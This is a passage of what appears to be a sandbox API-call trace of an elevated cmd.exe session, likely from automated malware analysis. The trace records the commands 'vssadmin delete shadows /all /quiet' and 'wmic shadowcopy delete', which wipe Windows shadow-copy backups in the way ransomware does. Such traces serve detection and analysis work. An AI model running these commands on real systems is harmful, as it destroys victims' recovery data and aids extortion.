lpStartupInfo=0x158ecff3e0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x158ecff3b8 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x158ecff3b8*(hProcess=0x98, hThread=0x94, dwProcessId=0xf9c, dwThreadId=0xfa0)) returned 1 [0127.875] CloseHandle (hObject=0x94) returned 1 [0127.875] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0127.875] GetProcessHeap () returned 0x20992a60000 [0127.875] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a67620) returned 1 [0127.875] GetEnvironmentStringsW () returned 0x20992a67620* [0127.875] GetProcessHeap () returned 0x20992a60000 [0127.875] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xac4) returned 0x20992a79530 [0127.875] FreeEnvironmentStringsA (penv="=") returned 1 [0127.875] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcc2280000 [0127.875] GetProcAddress (hModule=0x7ffcc2280000, lpProcName="NtQueryInformationProcess") returned 0x7ffcc23256b0 [0127.875] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x158ecfe8b8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x158ecfe8b8, ReturnLength=0x0) returned 0x0 [0127.876] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x73f0024000, lpBuffer=0x158ecfe8f0, nSize=0x7a0, lpNumberOfBytesRead=0x158ecfe8b0 | out: lpBuffer=0x158ecfe8f0*, lpNumberOfBytesRead=0x158ecfe8b0*=0x7a0) returned 1 [0127.876] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0129.005] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0x158ecff338 | out: lpExitCode=0x158ecff338*=0x2) returned 1 [0129.005] CloseHandle (hObject=0x98) returned 1 [0129.005] _vsnwprintf (in: _Buffer=0x158ecff508, _BufferCount=0x13, _Format="%08X", _ArgList=0x158ecff348 | out: _Buffer="00000002") returned 8 [0129.005] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0129.005] GetProcessHeap () returned 0x20992a60000 [0129.005] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a79530) returned 1 [0129.005] GetEnvironmentStringsW () returned 0x20992a7ab00* [0129.005] GetProcessHeap () returned 0x20992a60000 [0129.006] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xaea) returned 0x20992a7b600 [0129.006] FreeEnvironmentStringsA (penv="=") returned 1 [0129.006] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0129.006] GetProcessHeap () returned 0x20992a60000 [0129.006] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a7b600) returned 1 [0129.006] GetEnvironmentStringsW () returned 0x20992a7ab00* [0129.006] GetProcessHeap () returned 0x20992a60000 [0129.006] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xaea) returned 0x20992a7b600 [0129.007] FreeEnvironmentStringsA (penv="=") returned 1 [0129.007] GetProcessHeap () returned 0x20992a60000 [0129.007] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a65bb0) returned 1 [0129.007] DeleteProcThreadAttributeList (in: lpAttributeList=0x158ecff4c0 | out: lpAttributeList=0x158ecff4c0) [0129.007] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0129.010] ??_V@YAXPEAX@Z () returned 0x1 [0129.010] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.010] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0129.010] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.011] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6c4f3fc08 | out: lpMode=0x7ff6c4f3fc08) returned 0 [0129.011] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.011] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6c4f3fc0c | out: lpMode=0x7ff6c4f3fc0c) returned 0 [0129.011] GetConsoleOutputCP () returned 0x1b5 [0129.012] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6c4f3fbb0 | out: lpCPInfo=0x7ff6c4f3fbb0) returned 1 [0129.012] SetThreadUILanguage (LangId=0x0) returned 0x409 [0129.013] GetProcessHeap () returned 0x20992a60000 [0129.013] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a66a40) returned 1 [0129.013] GetProcessHeap () returned 0x20992a60000 [0129.013] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a78fb0) returned 1 [0129.013] GetProcessHeap () returned 0x20992a60000 [0129.013] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a78df0) returned 1 [0129.013] GetProcessHeap () returned 0x20992a60000 [0129.013] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a78d90) returned 1 [0129.013] GetProcessHeap () returned 0x20992a60000 [0129.013] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a669d0) returned 1 [0129.013] GetProcessHeap () returned 0x20992a60000 [0129.013] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a68da0) returned 1 [0129.013] GetProcessHeap () returned 0x20992a60000 [0129.013] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a65e60) returned 1 [0129.013] GetProcessHeap () returned 0x20992a60000 [0129.013] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a65da0) returned 1 [0129.013] GetProcessHeap () returned 0x20992a60000 [0129.013] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a66910) returned 1 [0129.013] _vsnwprintf (in: _Buffer=0x7ff6c4f47f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x158ecff8e8 | out: _Buffer="\r\n") returned 2 [0129.013] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.014] GetFileType (hFile=0x254) returned 0x3 [0129.014] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0129.014] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x158ecff8b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0x158ecff8b8*=0x2, lpOverlapped=0x0) returned 1 [0129.014] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0129.014] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20992c30080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0129.014] _vsnwprintf (in: _Buffer=0x20992c40060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x158ecff8f8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0129.014] _vsnwprintf (in: _Buffer=0x20992c40086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x158ecff8f8 | out: _Buffer=">") returned 1 [0129.014] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.014] GetFileType (hFile=0x254) returned 0x3 [0129.014] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0129.014] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x158ecff8e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0x158ecff8e8*=0x14, lpOverlapped=0x0) returned 1 [0129.014] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.014] GetFileType (hFile=0x248) returned 0x3 [0129.014] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.014] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.014] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.014] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c30, cchWideChar=1 | out: lpWideCharStr="wssadmin delete shadows /all /quiet\n") returned 1 [0129.014] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.014] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.014] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.014] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c32, cchWideChar=1 | out: lpWideCharStr="msadmin delete shadows /all /quiet\n") returned 1 [0129.014] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.014] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.015] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.015] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0129.015] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.015] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.015] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.015] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c36, cchWideChar=1 | out: lpWideCharStr="cdmin delete shadows /all /quiet\n") returned 1 [0129.015] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.015] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.015] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.015] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c38, cchWideChar=1 | out: lpWideCharStr=" min delete shadows /all /quiet\n") returned 1 [0129.015] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.015] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.015] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.015] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3a, cchWideChar=1 | out: lpWideCharStr="sin delete shadows /all /quiet\n") returned 1 [0129.015] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.015] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.015] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.015] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3c, cchWideChar=1 | out: lpWideCharStr="hn delete shadows /all /quiet\n") returned 1 [0129.015] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.015] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.015] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.015] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3e, cchWideChar=1 | out: lpWideCharStr="a delete shadows /all /quiet\n") returned 1 [0129.016] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.016] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.016] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.016] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c40, cchWideChar=1 | out: lpWideCharStr="ddelete shadows /all /quiet\n") returned 1 [0129.016] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.016] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.016] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.016] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c42, cchWideChar=1 | out: lpWideCharStr="oelete shadows /all /quiet\n") returned 1 [0129.016] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.016] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.016] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.016] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c44, cchWideChar=1 | out: lpWideCharStr="wlete shadows /all /quiet\n") returned 1 [0129.016] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.016] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.016] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.016] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c46, cchWideChar=1 | out: lpWideCharStr="cete shadows /all /quiet\n") returned 1 [0129.016] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.016] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.016] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.016] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c48, cchWideChar=1 | out: lpWideCharStr="ote shadows /all /quiet\n") returned 1 [0129.016] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.016] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.017] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4a, cchWideChar=1 | out: lpWideCharStr="pe shadows /all /quiet\n") returned 1 [0129.017] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.017] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.017] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4c, cchWideChar=1 | out: lpWideCharStr="y shadows /all /quiet\n") returned 1 [0129.017] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.017] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.017] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4e, cchWideChar=1 | out: lpWideCharStr=" shadows /all /quiet\n") returned 1 [0129.017] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.017] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.017] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c50, cchWideChar=1 | out: lpWideCharStr="dhadows /all /quiet\n") returned 1 [0129.017] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.017] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.017] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c52, cchWideChar=1 | out: lpWideCharStr="eadows /all /quiet\n") returned 1 [0129.017] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.017] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.017] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c54, cchWideChar=1 | out: lpWideCharStr="ldows /all /quiet\n") returned 1 [0129.018] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.018] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.018] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.018] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c56, cchWideChar=1 | out: lpWideCharStr="eows /all /quiet\n") returned 1 [0129.018] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.018] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.018] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.018] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c58, cchWideChar=1 | out: lpWideCharStr="tws /all /quiet\n") returned 1 [0129.018] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.018] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.018] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.018] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5a, cchWideChar=1 | out: lpWideCharStr="es /all /quiet\n") returned 1 [0129.018] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.018] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.018] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0129.018] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5c, cchWideChar=1 | out: lpWideCharStr="\n /all /quiet\n") returned 1 [0129.018] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.018] GetFileType (hFile=0x248) returned 0x3 [0129.018] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.018] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.018] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.018] GetFileType (hFile=0x254) returned 0x3 [0129.018] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.018] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="wmic shadowcopy delete\n", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmic shadowcopy delete\n", lpUsedDefaultChar=0x0) returned 24 [0129.018] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x158ecffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0x158ecffbe8*=0x17, lpOverlapped=0x0) returned 1 [0129.019] GetProcessHeap () returned 0x20992a60000 [0129.019] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x4012) returned 0x20992a68da0 [0129.019] GetProcessHeap () returned 0x20992a60000 